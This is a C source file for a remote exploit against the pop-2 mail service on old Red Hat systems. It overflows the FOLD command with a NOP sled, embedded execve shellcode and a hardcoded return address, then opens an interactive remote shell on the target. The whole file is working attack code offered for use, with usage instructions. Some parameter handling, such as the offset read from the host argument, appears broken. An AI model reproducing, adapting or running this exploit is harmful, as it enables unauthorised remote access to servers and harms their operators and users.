/*
 * A pop-2 remote exploit that gives a nobody shell.
 * gcc pop.c -o pop -O3 -Wall 
 * Autodetects what version you're sploiting and adjusts ret position and
 * offset accordingly.
 * Tested on redhat 5.2, 5.1, 5.0 and 4.2. Probably only really useful
 * using it on 5.2 tho, cos the rest will most likely have imap open too.
 * NB: To exploit pop-2 you have to take into account the length of both 
 * the hostname and username(unlike all the pop2 exploits out there).
 * - smiler
 */

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>

unsigned char hellcode[]=
        "\xeb\x2c\x5b\x89\xd9\x80\xc1\x06\x39\xd9\x7c\x07\x80\x01"
        "\x20\xfe\xc9\xeb\xf5\x89\x5b\x08\x31\xc0\x88\x43\x07\x89"
        "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0"
        "\xfe\xc0\xcd\x80\xe8\xcf\xff\xff\xff\x0f\x42\x49\x4e\x0f"
        "\x53\x48";

struct type {
	char *text;
	int offset;
	int alignment;
};

struct type types[]={
		     {"4.46",0,0},
		     {"3.35",0,19},
		     {"3.44",0,19},
		     {"2.3(30)",0,19},
                     {NULL,0,0}};

int pop2_type = 0;

#define RET 0xbffff5b1

void usage(char *prog);
int resolv(char *hname, struct in_addr *addr);
int send_oberflow(int fd, char *host, char *user, int offset);
void run_shell(int fd);
int set_pop_type(char *buf, int n);
int do_connect(struct sockaddr_in *serv);

char temp_pass[20], *password;

int main(int argc, char **argv)
{
	int fd,n;
	unsigned char buf[2048];
	struct sockaddr_in servaddr;

	if (argc < 5)
		usage(argv[0]);

	password = strdup(argv[3]);
	bzero(argv[3],strlen(argv[3]));

	/* Mask the password from the cmdline =) */
	bzero(&servaddr,sizeof(servaddr));
	servaddr.sin_family = AF_INET;
	servaddr.sin_port = htons(109);
	if (!resolv(argv[4],&servaddr.sin_addr)) {
		herror("resolv");
		exit(-1);
	}

	fd = do_connect(&servaddr);
	if ((n = recv(fd, buf, 1024, 0)) <= 0) {
		perror("recv");
		return -1;
	}
	/*  Get the banner */
	write(STDOUT_FILENO, buf, n);
	set_pop_type(buf,n);
	printf("Pop type = %d\n",pop2_type);

	/* HELO  localhost:dave password */
	sprintf(buf, "HELO %s:%s %s\r\n",argv[1],argv[2],password);
	send(fd, buf, strlen(buf), 0);
	printf("Sleeping\n");
	sleep(3);

	n = recv(fd, buf, sizeof(buf), 0);

	send_oberflow(fd, argv[1], argv[2], argv[4]?atoi(argv[4]):0);
//	recv(fd, buf, sizeof(buf), 0);
	run_shell(fd);	
	return 0;
}

void run_shell(int fd)
{
	int n;
	char recvbuf[1024];
	fd_set rset;

	while(1) {
		FD_ZERO(&rset);
		FD_SET(fd, &rset);
		FD_SET(STDIN_FILENO, &rset);
		select(fd+1,&rset,NULL,NULL,NULL);
		if (FD_ISSET(fd, &rset)) {
			n = recv(fd, recvbuf, 1024,0);
			if (n <= 0){
				fprintf(stderr,"Connection closed\n");
				return;
			}
			write(STDOUT_FILENO, recvbuf, n);
		}
		if (FD_ISSET(STDIN_FILENO, &rset)) {
			n = read(STDIN_FILENO, recvbuf, 1024);
			if (n <= 0) return;
			send(fd, recvbuf, n, 0);
		}
	}
	return;
}

int send_oberflow(int fd, char *host, char *user, int offset)
{
	unsigned char buf[1050];
	int ret,ctr,a = 0;

	ret = 1016 - strlen(host) - strlen(user);
	ret -= types[pop2_type].alignment;

	memset(buf,0x90,sizeof(buf));
	memcpy(buf,"FOLD ",5);
	for (ctr = ret - strlen(hellcode);ctr < ret; ctr++)
		buf[ctr] = hellcode[a++];

	*(unsigned long *)(buf + ret) = RET + offset + types[pop2_type].offset;
	strcpy(buf + ret + 4,"\r\n");
	send(fd, buf, strlen(buf), 0);
	return 1;
}

int do_connect(struct sockaddr_in *serv)
{
	int fd;

	fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	if (fd < 0) {
		perror("socket");
		exit(-1);
	}

	if (connect(fd, (struct sockaddr *)serv, 16) < 0) {
		perror("connect");
		exit(-1);
	}
	return fd;
}

int set_pop_type(char *buf, int n)
{
	int ctr = 0;

	buf[n] = 0;

	while(types[ctr].text) {
		if (strstr(buf,types[ctr].text)) {
			pop2_type = ctr;
			return 1;
		}
		ctr++;
	}

	pop2_type = 0;
	return pop2_type;
}

int resolv(char *hname, struct in_addr *addr)
{
	struct hostent *res;

	if (inet_aton(hname,addr))
		return 1;

	res = gethostbyname(hname);
	if (res == NULL)
		return 0;

	memcpy((char *)addr,(char *)res->h_addr, sizeof(struct in_addr));
	return 1;
}

void usage(char *prog)
{
	fprintf(stderr,"Usage: %s <imap server> <username> <password>"\
			" <pop server> [offset]\n",prog);
	exit(-1);
}


